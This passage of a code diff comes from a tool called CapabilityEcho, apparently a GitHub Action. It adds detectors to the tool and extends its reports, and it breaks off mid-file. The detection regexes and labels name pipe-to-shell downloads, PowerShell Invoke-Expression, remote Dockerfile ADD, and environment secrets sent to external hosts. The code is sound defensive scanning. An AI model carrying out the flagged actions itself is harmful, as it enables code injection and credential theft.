newFileContents }; } export async function collectGitDiff(repo, base, head) { - await verifyGitRef(repo, base); - await verifyGitRef(repo, head); + const baseExists = await gitRefExists(repo, base); + const headExists = await gitRefExists(repo, head); + if (!baseExists || !headExists) { + throw new GitDiffSetupError(`CapabilityEcho could not compare base '${base}' and head '${head}'.`, base, head); + } const changedFiles = await listGitChangedFiles(repo, base, head); const scannableFiles = changedFiles.filter(isScannable); if (scannableFiles.length === 0) { - return { addedLines: [], changedFileCount: 0 }; + return { addedLines: [], changedFileCount: 0, scannedSurfaces: [], newFileContents: {} }; } const { stdout } = await execFileAsync('git', ['-C', repo, 'diff', '-U0', `${base}..${head}`, '--', ...scannableFiles], { encoding: 'utf8', maxBuffer: 20 * 1024 * 1024 }); + const newFileContents = await readChangedFilesAtRef(repo, head, scannableFiles); return { addedLines: parseUnifiedDiff(stdout).map((line) => ({ ...line, file: normalizeGitDiffPath(line.file) })), - changedFileCount: scannableFiles.length + changedFileCount: scannableFiles.length, + scannedSurfaces: surfacesForFiles(scannableFiles), + newFileContents }; } export function parseUnifiedDiff(patch, relativeFile) { @@ -114,7 +139,7 @@ async function listScannableFiles(root, current = '') { } return files; } -async function listGitChangedFiles(repo, base, head) { +export async function listGitChangedFiles(repo, base, head) { const { stdout } = await execFileAsync('git', ['-C', repo, 'diff', '--name-only', `${base}..${head}`], { encoding: 'utf8', maxBuffer: 10 * 1024 * 1024 }); return stdout .split(/\r?\n/) @@ -145,11 +170,27 @@ function allLinesAsAdded(file, content) { content: lineContent })); } -function countChangedFiles(addedLines) { - return new Set(addedLines.map((line) => line.file)).size; +async function gitRefExists(repo, ref) { + try { + await execFileAsync('git', ['-C', repo, 'rev-parse', '--verify', `${ref}^{commit}`]); + return true; + } + catch (error) { + if (isExecError(error)) { + return false; + } + throw error; + } } -async function verifyGitRef(repo, ref) { - await execFileAsync('git', ['-C', repo, 'rev-parse', '--verify', `${ref}^{commit}`]); +function surfacesForFiles(files) { + const surfaces = new Set(); + for (const file of files) { + const surface = surfaceForPath(file); + if (surface) { + surfaces.add(surface); + } + } + return SURFACE_ORDER.filter((surface) => surfaces.has(surface)); } function isExecError(error) { return error instanceof Error && 'code' in error; @@ -183,6 +224,13 @@ export async function readFileAtGitRef(repo, ref, relativePath) { throw error; } } +async function readChangedFilesAtRef(repo, ref, files) { + const entries = await Promise.all(files.map(async (file) => { + const content = await readFileAtGitRef(repo, ref, file); + return content === null ? undefined : [file, content]; + })); + return Object.fromEntries(entries.filter((entry) => entry !== undefined)); +} export async function listPackageJsonFiles(root, current = '') { const entries = await readdir(join(root, current), { withFileTypes: true }); const files = []; diff --git a/dist/paths.js b/dist/paths.js index 0d1b9fa..61a1718 100644 --- a/dist/paths.js +++ b/dist/paths.js @@ -18,17 +18,26 @@ export function isExcluded(relativePath) { return normalized.startsWith('.cursor/rules/'); } export function isScannable(relativePath) { + return surfaceForPath(relativePath) !== undefined; +} +export function surfaceForPath(relativePath) { const normalized = normalizeRelativePath(relativePath); if (isExcluded(normalized)) { - return false; + return undefined; } if (normalized === 'package.json' || normalized.endsWith('/package.json')) { - return true; + return 'package'; } if (normalized.startsWith('.github/workflows/') && /\.(ya?ml)$/i.test(normalized)) { - return true; + return 'workflow'; + } + if (isDockerfile(normalized)) { + return 'container'; + } + if (isJsFile(normalized) || isPyFile(normalized) || isShellFile(normalized)) { + return 'source'; } - return /\.(js|jsx|ts|tsx|mjs|cjs|py|pyw)$/i.test(normalized); + return undefined; } export function isTestFile(relativePath) { const normalized = normalizeRelativePath(relativePath); @@ -64,3 +73,12 @@ export function isPyFile(relativePath) { const normalized = normalizeRelativePath(relativePath); return /\.(py|pyw)$/i.test(normalized); } +export function isShellFile(relativePath) { + const normalized = normalizeRelativePath(relativePath); + return /\.(sh|bash|zsh|ps1|psm1)$/i.test(normalized); +} +export function isDockerfile(relativePath) { + const normalized = normalizeRelativePath(relativePath); + const name = normalized.split('/').pop() ?? normalized; + return /^Dockerfile(?:\..+)?$/i.test(name); +} diff --git a/dist/report.js b/dist/report.js index 4838c23..178d17a 100644 --- a/dist/report.js +++ b/dist/report.js @@ -1,3 +1,11 @@ +const EXCLUDED_SURFACES = ['AI-agent config']; +const SEVERITY_ORDER = ['critical', 'high', 'medium', 'low']; +const SURFACE_LABELS = { + source: 'source code', + package: 'package manifests', + workflow: 'GitHub workflows', + container: 'container builds' +}; const severityRank = { none: 0, low: 1, @@ -7,21 +15,41 @@ const severityRank = { }; const SUMMARY_LABELS = { external_fetch_added: 'external network fetch calls', + source_secret_exfil_pattern: 'source secret exfiltration patterns', subprocess_spawn_added: 'subprocess or shell spawn calls', dynamic_eval_added: 'dynamic code execution', + shell_pipe_to_shell: 'shell pipe-to-shell downloads', + shell_external_download: 'shell external downloads', + dockerfile_remote_add: 'Dockerfile remote ADD instructions', + dockerfile_pipe_to_shell: 'Dockerfile pipe-to-shell builds', workflow_permission_write: 'GitHub Actions write permissions', + workflow_pull_request_target: 'GitHub Actions pull_request_target triggers', + workflow_pr_head_checkout_on_target: 'GitHub Actions PR-head checkout under pull_request_target', + workflow_self_hosted_runner: 'GitHub Actions self-hosted runners', + workflow_mutable_action_ref: 'GitHub Actions mutable action references', + workflow_secrets_inherit: 'GitHub Actions inherited secrets', workflow_external_curl: 'workflow external network requests', workflow_secret_exfil_pattern: 'workflow secret exfiltration patterns', + workflow_docker_socket_mount: 'workflow Docker socket mounts', + workflow_privileged_container: 'workflow privileged containers', lifecycle_script_added: 'npm lifecycle scripts', script_pipe_to_shell: 'pipe-to-shell install scripts', - script_network_command: 'network or publish npm scripts' + script_network_command: 'network or publish npm scripts', + high_capability_dep_added: 'high-capability dependency additions', + telemetry_dep_added: 'telemetry dependency additions', + unsafe_deserialize_added: 'unsafe deserialization' }; export function createReport(findings, context) { return { rating: rateFindings(findings), findingCount: findings.length, changedFileCount: context.changedFileCount, + scannedSurfaces: context.scannedSurfaces, + excludedSurfaces: [...EXCLUDED_SURFACES], + surfaceSummary: buildSurfaceSummary(findings), + severitySummary: buildSeveritySummary(findings), capabilitySummary: buildCapabilitySummary(findings), + topRecommendations: buildTopRecommendations(findings), findings }; } @@ -44,6 +72,22 @@ function buildCapabilitySummary(findings) { } return [...labels]; } +function buildTopRecommendations(findings) { + const recommendations = new Set(); + const rankedFindings = findings + .map((finding, index) => ({ finding, index })) + .sort((left, right) => { + const severityDelta = severityRank[right.finding.severity] - severityRank[left.finding.severity]; + return severityDelta === 0 ? left.index - right.index : severityDelta; + }); + for (const { finding } of rankedFindings) { + recommendations.add(finding.recommendation); + if (recommendations.size === 3) { + break; + } + } + return [...recommendations]; +} function rateFindings(findings) { let rating = 'none'; for (const finding of findings) { @@ -55,12 +99,34 @@ function rateFindings(findings) { } function renderMarkdown(report) { const lines = [`# CapabilityEcho capability drift: ${report.rating.toUpperCase()}`, '']; + lines.push(`Scanned executable surfaces: ${formatSurfaces(report.scannedSurfaces)}.`); + lines.push(`Excluded surfaces: ${report.excludedSurfaces.join(', ')}.`, ''); if (report.findings.length === 0) { lines.push('No code or workflow capability drift findings.'); return `${lines.join('\n')}\n`; } lines.push(`This diff scanned ${report.changedFileCount} changed file${report.changedFileCount === 1 ? '' : 's'}.`); lines.push(`CapabilityEcho found ${report.findingCount} finding${report.findingCount === 1 ? '' : 's'}.`, ''); + if (report.topRecommendations.length > 0) { + lines.push('## Top recommendations', ''); + for (const recommendation of report.topRecommendations) { + lines.push(`- ${recommendation}`); + } + lines.push(''); + } + lines.push('## Review summary', ''); + lines.push('| Surface | Findings |'); + lines.push('| --- | ---: |'); + for (const surface of ['source', 'package', 'workflow', 'container']) { + lines.push(`| ${SURFACE_LABELS[surface]} | ${report.surfaceSummary[surface]} |`); + } + lines.push(''); + lines.push('| Severity | Findings |'); + lines.push('| --- | ---: |'); + for (const severity of SEVERITY_ORDER) { + lines.push(`| ${capitalize(severity)} | ${report.severitySummary[severity]} |`); + } + lines.push(''); if (report.capabilitySummary.length > 0) { lines.push('## Capability summary', ''); for (const item of report.capabilitySummary) { @@ -68,14 +134,14 @@ function renderMarkdown(report) { } lines.push(''); } - for (const severity of ['critical', 'high', 'medium', 'low']) { + for (const severity of SEVERITY_ORDER) { const matches = report.findings.filter((finding) => finding.severity === severity); if (matches.length === 0) { continue; } lines.push(`## ${capitalize(severity)}`, ''); for (const finding of matches) { - lines.push(`- **${finding.subject}** (${finding.file}): ${finding.message}`); + lines.push(`- **${finding.subject}** [${SURFACE_LABELS[finding.surface]}] (${finding.file}): ${finding.message}`); lines.push(` Recommendation: ${finding.recommendation}`); } lines.push(''); @@ -84,11 +150,16 @@ function renderMarkdown(report) { } function renderText(report) { const lines = [`CapabilityEcho capability drift: ${report.rating.toUpperCase()}`]; + lines.push(`Scanned executable surfaces: ${formatSurfaces(report.scannedSurfaces)}.`); + lines.push(`Excluded surfaces: ${report.excludedSurfaces.join(', ')}.`); if (report.capabilitySummary.length > 0) { lines.push(`Signals: ${report.capabilitySummary.join(', ')}`); } + if (report.topRecommendations.length > 0) { + lines.push(`Top recommendations: ${report.topRecommendations.join(' | ')}`); + } for (const finding of report.findings) { - lines.push(`[${finding.severity.toUpperCase()}] ${finding.subject}: ${finding.message}`); + lines.push(`[${finding.severity.toUpperCase()}] ${finding.subject} (${SURFACE_LABELS[finding.surface]}): ${finding.message}`); } if (report.findings.length === 0) { lines.push('No code or workflow capability drift findings.'); @@ -101,7 +172,7 @@ function renderGithubAnnotations(report) { } return (report.findings .map((finding) => { - const title = `CapabilityEcho ${finding.severity} capability drift`; + const title = `CapabilityEcho ${finding.severity} ${SURFACE_LABELS[finding.surface]} capability drift`; const message = `${finding.message} Recommendation: ${finding.recommendation}`; const properties = [`file=${escapeProperty(finding.file)}`]; if (finding.line && finding.line > 0) { @@ -121,3 +192,25 @@ function escapeProperty(value) { function capitalize(value) { return `${value.slice(0, 1).toUpperCase()}${value.slice(1)}`; } +function buildSurfaceSummary(findings) { + return { + source: findings.filter((finding) => finding.surface === 'source').length, + package: findings.filter((finding) => finding.surface === 'package').length, + workflow: findings.filter((finding) => finding.surface === 'workflow').length, + container: findings.filter((finding) => finding.surface === 'container').length + }; +} +function buildSeveritySummary(findings) { + return { + critical: findings.filter((finding) => finding.severity === 'critical').length, + high: findings.filter((finding) => finding.severity === 'high').length, + medium: findings.filter((finding) => finding.severity === 'medium').length, + low: findings.filter((finding) => finding.severity === 'low').length + }; +} +function formatSurfaces(surfaces) { + if (surfaces.length === 0) { + return 'none'; + } + return surfaces.map((surface) => SURFACE_LABELS[surface]).join(', '); +} diff --git a/src/action.ts b/src/action.ts index 8fb9dac..c70fe5d 100644 --- a/src/action.ts +++ b/src/action.ts @@ -1,5 +1,6 @@ import { appendFile, readFile } from 'node:fs/promises'; import { runCapabilityDiff } from './diff.js'; +import { GitDiffSetupError } from './git-diff.js'; import { renderReport, type EchoRating } from './report.js'; const severityRank: Record = { @@ -15,7 +16,8 @@ export async function mainAction(env: NodeJS.ProcessEnv = process.env): Promise< const event = await readEvent(env); const base = getInput(env, 'base') || getDefaultBase(env, event); const head = getInput(env, 'head') || getDefaultHead(env, event); - const failOn = getInput(env, 'fail-on') || 'none'; + const failOnInput = getInput(env, 'fail-on') || 'none'; + const failOn = failOnInput.toLowerCase(); if (!base || !head) { writeError('CapabilityEcho needs base and head refs. Pass base/head inputs or run on pull_request with actions/checkout fetch-depth: 0.'); @@ -23,19 +25,51 @@ export async function mainAction(env: NodeJS.ProcessEnv = process.env): Promise< } if (!isRating(failOn)) { - writeError(`Invalid fail-on value '${failOn}'. Use none, low, medium, high, or critical.`); + writeError(`Invalid fail-on value '${failOnInput}'. Use none, low, medium, high, or critical.`); return 2; } - const report = await runCapabilityDiff({ mode: 'git', repo, base, head }); + let report; + try { + report = await runCapabilityDiff({ mode: 'git', repo, base, head }); + } catch (error) { + if (error instanceof GitDiffSetupError) { + writeError( + `CapabilityEcho could not compare base '${error.base}' and head '${error.head}'. Ensure actions/checkout uses fetch-depth: 0, or pass refs that exist in the checkout through the \`base\` and \`head\` inputs.` + ); + return 2; + } + + throw error; + } + const markdown = renderReport(report, 'markdown'); + const json = renderReport(report, 'json'); + const adoptionEvidence = JSON.stringify({ + rating: report.rating, + hasFindings: report.findingCount > 0, + findingCount: report.findingCount, + changedFileCount: report.changedFileCount, + surfaceSummary: report.surfaceSummary, + severitySummary: report.severitySummary, + capabilitySummary: report.capabilitySummary, + topRecommendations: report.topRecommendations + }); process.stdout.write(markdown); process.stdout.write(renderReport(report, 'github')); await appendIfSet(env.GITHUB_STEP_SUMMARY, markdown); await writeOutput(env, 'rating', report.rating); + await writeOutput(env, 'has-findings', String(report.findingCount > 0)); await writeOutput(env, 'finding-count', String(report.findingCount)); await writeOutput(env, 'changed-file-count', String(report.changedFileCount)); + await writeOutput(env, 'surface-summary', JSON.stringify(report.surfaceSummary)); + await writeOutput(env, 'severity-summary', JSON.stringify(report.severitySummary)); + await writeOutput(env, 'capability-summary', JSON.stringify(report.capabilitySummary)); + await writeOutput(env, 'top-recommendations', JSON.stringify(report.topRecommendations)); + await writeOutput(env, 'adoption-evidence', adoptionEvidence); + await writeOutput(env, 'report-markdown', markdown); + await writeOutput(env, 'report-json', json); if (severityRank[failOn] > 0 && severityRank[report.rating] >= severityRank[failOn]) { writeError(`CapabilityEcho capability drift rating ${report.rating} meets fail-on threshold ${failOn}.`); @@ -96,9 +130,29 @@ async function writeOutput(env: NodeJS.ProcessEnv, name: string, value: string): return; } + if (value.includes('\n') || value.includes('\r')) { + const delimiter = outputDelimiter(name, value); + const normalizedValue = value.endsWith('\n') ? value : `${value}\n`; + await appendFile(env.GITHUB_OUTPUT, `${name}<<${delimiter}\n${normalizedValue}${delimiter}\n`, 'utf8'); + return; + } + await appendFile(env.GITHUB_OUTPUT, `${name}=${value}\n`, 'utf8'); } +function outputDelimiter(name: string, value: string): string { + const normalizedName = name.replace(/[^A-Za-z0-9_]+/g, '_'); + let delimiter = `capabilityecho_${normalizedName}_EOF`; + let suffix = 1; + + while (value.includes(delimiter)) { + delimiter = `capabilityecho_${normalizedName}_EOF_${suffix}`; + suffix += 1; + } + + return delimiter; +} + async function appendIfSet(path: string | undefined, content: string): Promise { if (!path) { return; diff --git a/src/detectors/dockerfile-capability.ts b/src/detectors/dockerfile-capability.ts new file mode 100644 index 0000000..062553d --- /dev/null +++ b/src/detectors/dockerfile-capability.ts @@ -0,0 +1,55 @@ +import type { AddedLine, Finding } from '../types.js'; +import { isCommentLine, isDockerfile } from '../paths.js'; + +export function detectDockerfileCapability(lines: AddedLine[]): Finding[] { + const findings: Finding[] = []; + + for (const added of lines) { + if (!isDockerfile(added.file) || isCommentLine(added.content)) { + continue; + } + + findings.push(...detectRemoteAdd(added)); + findings.push(...detectPipeToShell(added)); + } + + return findings; +} + +function detectRemoteAdd(added: AddedLine): Finding[] { + if (!/^\s*ADD\s+https?:\/\//i.test(added.content)) { + return []; + } + + return [ + { + kind: 'dockerfile_remote_add', + surface: 'container', + severity: 'high', + file: added.file, + line: added.line, + subject: 'Dockerfile remote ADD', + message: 'Dockerfile adds remote content during image build, expanding build-time network reach.', + recommendation: 'Download pinned artifacts with checksum verification, or vendor reviewed files into the repository.' + } + ]; +} + +function detectPipeToShell(added: AddedLine): Finding[] { + if (!/^\s*RUN\b.*(?:curl|wget)[^\n|]*https?:\/\/[^\n|]*\|\s*(?:ba)?sh\b/i.test(added.content)) { + return []; + } + + return [ + { + kind: 'dockerfile_pipe_to_shell', + surface: 'container', + severity: 'critical', + file: added.file, + line: added.line, + subject: 'Dockerfile pipe-to-shell', + message: 'Dockerfile downloads remote content and pipes it directly to a shell during image build.', + recommendation: 'Replace remote pipe-to-shell with pinned, reviewable build steps and checksum verification.' + } + ]; +} diff --git a/src/detectors/js-capability.ts b/src/detectors/js-capability.ts index a2d682d..17549af 100644 --- a/src/detectors/js-capability.ts +++ b/src/detectors/js-capability.ts @@ -1,8 +1,9 @@ import type { AddedLine, Finding } from '../types.js'; import { isCommentLine, isJsFile, isTestFile } from '../paths.js'; -export function detectJsCapability(lines: AddedLine[]): Finding[] { +export function detectJsCapability(lines: AddedLine[], newFileContents: Record = {}): Finding[] { const findings: Finding[] = []; + const secretVarsByFile = collectSecretVariables(lines, newFileContents); for (const added of lines) { if (!isJsFile(added.file) || isCommentLine(added.content)) { @@ -11,6 +12,7 @@ export function detectJsCapability(lines: AddedLine[]): Finding[] { const testFile = isTestFile(added.file); findings.push(...detectFetch(added, testFile)); + findings.push(...detectSecretExfil(added, testFile, secretVarsByFile.get(added.file) ?? new Set())); findings.push(...detectSubprocess(added, testFile)); findings.push(...detectDynamicEval(added, testFile)); } @@ -18,6 +20,42 @@ export function detectJsCapability(lines: AddedLine[]): Finding[] { return findings; } +function collectSecretVariables(lines: AddedLine[], newFileContents: Record): Map> { + const varsByFile = new Map>(); + for (const added of lines) { + if (!isJsFile(added.file)) { + continue; + } + + addSecretVariable(varsByFile, added.file, added.content); + } + + for (const [file, content] of Object.entries(newFileContents)) { + if (!isJsFile(file)) { + continue; + } + + for (const line of content.split(/\r?\n/)) { + addSecretVariable(varsByFile, file, line); + } + } + + return varsByFile; +} + +function addSecretVariable(varsByFile: Map>, file: string, content: string): void { + const match = content.match( + /\b(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s*=\s*process\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i + ); + if (!match) { + return; + } + + const vars = varsByFile.get(file) ?? new Set(); + vars.add(match[1]); + varsByFile.set(file, vars); +} + function detectFetch(added: AddedLine, testFile: boolean): Finding[] { if (!/(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(added.content)) { return []; @@ -34,6 +72,7 @@ function detectFetch(added: AddedLine, testFile: boolean): Finding[] { return [ { kind: 'external_fetch_added', + surface: 'source', severity: testFile ? 'low' : 'medium', file: added.file, line: added.line, @@ -44,6 +83,47 @@ function detectFetch(added: AddedLine, testFile: boolean): Finding[] { ]; } +function detectSecretExfil(added: AddedLine, testFile: boolean, secretVariables: Set): Finding[] { + if ( + !isExternalHttpRequest(added.content) || + (!referencesEnvSecret(added.content) && !referencesSecretVariable(added.content, secretVariables)) + ) { + return []; + } + + return [ + { + kind: 'source_secret_exfil_pattern', + surface: 'source', + severity: testFile ? 'medium' : 'high', + file: added.file, + line: added.line, + subject: 'Source secret exfiltration pattern', + message: 'Added source code sends environment-secret-shaped data to an external endpoint.', + recommendation: 'Do not send env secrets to external services unless the endpoint and payload are explicitly required.' + } + ]; +} + +function isExternalHttpRequest(content: string): boolean { + return ( + /(?:fetch\s*\(|axios\.(?:get|post|put|delete|patch|request)\s*\(|got\s*\()/i.test(content) && + /(?:https?:\/\/|['"]https?:\/\/)/i.test(content) + ); +} + +function referencesEnvSecret(content: string): boolean { + return /\bprocess\.env\.[A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*\b/i.test(content); +} + +function referencesSecretVariable(content: string, secretVariables: Set): boolean { + return [...secretVariables].some((name) => new RegExp(String.raw`\b${escapeRegExp(name)}\b`).test(content)); +} + +function escapeRegExp(value: string): string { + return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + function detectSubprocess(added: AddedLine, testFile: boolean): Finding[] { if ( !/(?:child_process|execSync\s*\(|exec\s*\(|spawnSync\s*\(|spawn\s*\(|Bun\.spawn\s*\()/i.test(added.content) @@ -54,6 +134,7 @@ function detectSubprocess(added: AddedLine, testFile: boolean): Finding[] { return [ { kind: 'subprocess_spawn_added', + surface: 'source', severity: testFile ? 'low' : 'high', file: added.file, line: added.line, @@ -72,6 +153,7 @@ function detectDynamicEval(added: AddedLine, testFile: boolean): Finding[] { return [ { kind: 'dynamic_eval_added', + surface: 'source', severity: testFile ? 'medium' : 'critical', file: added.file, line: added.line, diff --git a/src/detectors/package-deps.ts b/src/detectors/package-deps.ts index add4e45..9825bd1 100644 --- a/src/detectors/package-deps.ts +++ b/src/detectors/package-deps.ts @@ -66,6 +66,7 @@ function compareDeps(file: string, oldText: string, newText: string): Finding[] if (HIGH_CAPABILITY_DEPS.has(name)) { findings.push({ kind: 'high_capability_dep_added', + surface: 'package', severity: 'high', file, line: lineOfJsonStringValue(newText, version) ?? lineOfJsonKey(newText, name), @@ -79,6 +80,7 @@ function compareDeps(file: string, oldText: string, newText: string): Finding[] if (TELEMETRY_DEPS.has(name)) { findings.push({ kind: 'telemetry_dep_added', + surface: 'package', severity: 'medium', file, line: lineOfJsonStringValue(newText, version) ?? lineOfJsonKey(newText, name), diff --git a/src/detectors/package-scripts.ts b/src/detectors/package-scripts.ts index 082832a..4c7a7a0 100644 --- a/src/detectors/package-scripts.ts +++ b/src/detectors/package-scripts.ts @@ -1,7 +1,8 @@ import { readFile } from 'node:fs/promises'; import { join } from 'node:path'; import { configPath, isRecord, lineOfJsonKey, lineOfJsonStringValue, readJsonObjectWithSource } from '../discovery.js'; -import { listPackageJsonFiles, readFileAtGitRef } from '../git-diff.js'; +import { listGitChangedFiles, listPackageJsonFiles, readFileAtGitRef } from '../git-diff.js'; +import { isPackageJsonFile } from '../paths.js'; import type { Finding } from '../types.js'; const LIFECYCLE_KEYS = ['postinstall', 'preinstall', 'prepare', 'install'] as const; @@ -28,18 +29,7 @@ export async function detectPackageScripts(mode: PackageDiffMode): Promise { - const all = await listPackageJsonFiles(repo); - const changed: string[] = []; - - for (const file of all) { - const oldText = await readFileAtGitRef(repo, base, file); - const newText = await readFileAtGitRef(repo, head, file); - if (oldText !== newText) { - changed.push(file); - } - } - - return changed; + return (await listGitChangedFiles(repo, base, head)).filter(isPackageJsonFile); } async function readScriptsAt( @@ -106,6 +96,7 @@ function compareScripts( const line = lineOfJsonKey(newText, key) ?? lineOfJsonStringValue(newText, newValue); findings.push({ kind: 'lifecycle_script_added', + surface: 'package', severity: 'high', file, line, @@ -140,6 +131,7 @@ function analyzeScriptContent(file: string, key: string, script: string, newText if (/(?:curl[^\n|]*\|\s*(?:ba)?sh|wget[^\n|]*\|\s*sh|Invoke-Expression|iex\s*\()/i.test(script)) { findings.push({ kind: 'script_pipe_to_shell', + surface: 'package', severity: 'critical', file, line, @@ -152,6 +144,7 @@ function analyzeScriptContent(file: string, key: string, script: string, newText if (/\b(curl|wget|npm publish)\b/i.test(script) || /\bnpx\b(?![^\s]*@\d+\.\d+\.\d+)/i.test(script)) { findings.push({ kind: 'script_network_command', + surface: 'package', severity: 'medium', file, line, diff --git a/src/detectors/py-capability.ts b/src/detectors/py-capability.ts index 7d4fefb..84658a5 100644 --- a/src/detectors/py-capability.ts +++ b/src/detectors/py-capability.ts @@ -6,8 +6,9 @@ import { isCommentLine, isPyFile, isTestFile } from '../paths.js'; // reach by adding a `requests.post`, a `subprocess.Popen`, or an `eval` // without ever touching .mcp.json or .claude/settings.json. These are // the same shapes detect-js-capability flags for the JS world. -export function detectPyCapability(lines: AddedLine[]): Finding[] { +export function detectPyCapability(lines: AddedLine[], newFileContents: Record = {}): Finding[] { const findings: Finding[] = []; + const secretVarsByFile = collectSecretVariables(lines, newFileContents); for (const added of lines) { if (!isPyFile(added.file) || isCommentLine(added.content)) { @@ -16,6 +17,7 @@ export function detectPyCapability(lines: AddedLine[]): Finding[] { const testFile = isTestFile(added.file); findings.push(...detectPyNetwork(added, testFile)); + findings.push(...detectPySecretExfil(added, testFile, secretVarsByFile.get(added.file) ?? new Set())); findings.push(...detectPySubprocess(added, testFile)); findings.push(...detectPyDynamicExec(added, testFile)); findings.push(...detectPyUnsafeDeserialize(added, testFile)); @@ -24,6 +26,42 @@ export function detectPyCapability(lines: AddedLine[]): Finding[] { return findings; } +function collectSecretVariables(lines: AddedLine[], newFileContents: Record): Map> { + const varsByFile = new Map>(); + for (const added of lines) { + if (!isPyFile(added.file)) { + continue; + } + + addSecretVariable(varsByFile, added.file, added.content); + } + + for (const [file, content] of Object.entries(newFileContents)) { + if (!isPyFile(file)) { + continue; + } + + for (const line of content.split(/\r?\n/)) { + addSecretVariable(varsByFile, file, line); + } + } + + return varsByFile; +} + +function addSecretVariable(varsByFile: Map>, file: string, content: string): void { + const match = content.match( + /^\s*([A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?:os\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])|os\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i + ); + if (!match) { + return; + } + + const vars = varsByFile.get(file) ?? new Set(); + vars.add(match[1]); + varsByFile.set(file, vars); +} + function detectPyNetwork(added: AddedLine, testFile: boolean): Finding[] { // Common network entry points across requests, httpx, aiohttp, and the // urllib family (including the Python 2 legacy `urllib2` that still @@ -44,6 +82,7 @@ function detectPyNetwork(added: AddedLine, testFile: boolean): Finding[] { return [ { kind: 'external_fetch_added', + surface: 'source', severity: testFile ? 'low' : 'medium', file: added.file, line: added.line, @@ -54,6 +93,50 @@ function detectPyNetwork(added: AddedLine, testFile: boolean): Finding[] { ]; } +function detectPySecretExfil(added: AddedLine, testFile: boolean, secretVariables: Set): Finding[] { + if ( + !isPyExternalRequest(added.content) || + (!referencesPyEnvSecret(added.content) && !referencesSecretVariable(added.content, secretVariables)) + ) { + return []; + } + + return [ + { + kind: 'source_secret_exfil_pattern', + surface: 'source', + severity: testFile ? 'medium' : 'high', + file: added.file, + line: added.line, + subject: 'Source secret exfiltration pattern (Python)', + message: 'Added Python sends environment-secret-shaped data to an external endpoint.', + recommendation: 'Do not send env secrets to external services unless the endpoint and payload are explicitly required.' + } + ]; +} + +function isPyExternalRequest(content: string): boolean { + return ( + /\b(?:requests|httpx)\.(?:get|post|put|delete|patch|head|options|request)\s*\(|\burllib(?:2)?\.(?:request\.)?urlopen\s*\(|\burlopen\s*\(|\burllib\.request\.urlretrieve\s*\(|\baiohttp\.ClientSession\s*\(/i.test(content) && + /(?:https?:\/\/|['"]https?:\/\/)/i.test(content) + ); +} + +function referencesPyEnvSecret(content: string): boolean { + return ( + /\bos\.environ\s*(?:\[\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]\s*\]|\.get\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"])/i.test(content) || + /\bos\.getenv\s*\(\s*['"][A-Z0-9_]*(?:TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AUTH)[A-Z0-9_]*['"]/i.test(content) + ); +} + +function referencesSecretVariable(content: string, secretVariables: Set): boolean { + return [...secretVariables].some((name) => new RegExp(String.raw`\b${escapeRegExp(name)}\b`).test(content)); +} + +function escapeRegExp(value: string): string { + return value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + function detectPySubprocess(added: AddedLine, testFile: boolean): Finding[] { // Subprocess and shell-execution surfaces. `commands.getoutput` is the // Python 2 legacy still seen in older agent-generated code. @@ -66,6 +149,7 @@ function detectPySubprocess(added: AddedLine, testFile: boolean): Finding[] { return [ { kind: 'subprocess_spawn_added', + surface: 'source', severity: testFile ? 'low' : 'high', file: added.file, line: added.line, @@ -89,6 +173,7 @@ function detectPyDynamicExec(added: AddedLine, testFile: boolean): Finding[] { return [ { kind: 'dynamic_eval_added', + surface: 'source', severity: testFile ? 'medium' : 'critical', file: added.file, line: added.line, @@ -112,6 +197,7 @@ function detectPyUnsafeDeserialize(added: AddedLine, testFile: boolean): Finding return [ { kind: 'unsafe_deserialize_added', + surface: 'source', severity: testFile ? 'medium' : 'critical', file: added.file, line: added.line, diff --git a/src/detectors/shell-capability.ts b/src/detectors/shell-capability.ts new file mode 100644 index 0000000..eb2246a --- /dev/null +++ b/src/detectors/shell-capability.ts @@ -0,0 +1,55 @@ +import type { AddedLine, Finding } from '../types.js'; +import { isCommentLine, isShellFile } from '../paths.js'; + +export function detectShellCapability(lines: AddedLine[]): Finding[] { + const findings: Finding[] = []; + + for (const added of lines) { + if (!isShellFile(added.file) || isCommentLine(added.content)) { + continue; + } + + findings.push(...detectPipeToShell(added)); + findings.push(...detectExternalDownload(added)); + } + + return findings; +} + +function detectPipeToShell(added: AddedLine): Finding[] { + if (!/(?:curl|wget|Invoke-WebRequest|iwr)[^\n|]*https?:\/\/[^\n|]*\|\s*(?:ba)?sh\b|iex\s*\(|Invoke-Expression/i.test(added.content)) { + return []; + } + + return [ + { + kind: 'shell_pipe_to_shell', + surface: 'source', + severity: 'critical', + file: added.file, + line: added.line, + subject: 'Shell remote pipe-to-shell', + message: 'Added shell script downloads remote content and pipes it directly to a shell.', + recommendation: 'Replace remote pipe-to-shell with pinned, reviewable install steps.' + } + ]; +} + +function detectExternalDownload(added: AddedLine): Finding[] { + if (!/\b(curl|wget|Invoke-WebRequest|iwr)\b[^\n]*https?:\/\//i.test(added.content)) { + return []; + } + + return [ + { + kind: 'shell_external_download', + surface: 'source', + severity: 'medium', + file: added.file, + line: added.line, + subject: 'Shell external download', + message: 'Added shell script downloads content from an external URL.', + recommendation: 'Verify the URL, checksum or signature, and whether the download belongs in this change.' + } + ]; +} diff --git a/src/detectors/workflow-permissions.ts b/src/detectors/workflow-permissions.ts index 08c0fd5..06f7829 100644 --- a/src/detectors/workflow-permissions.ts +++ 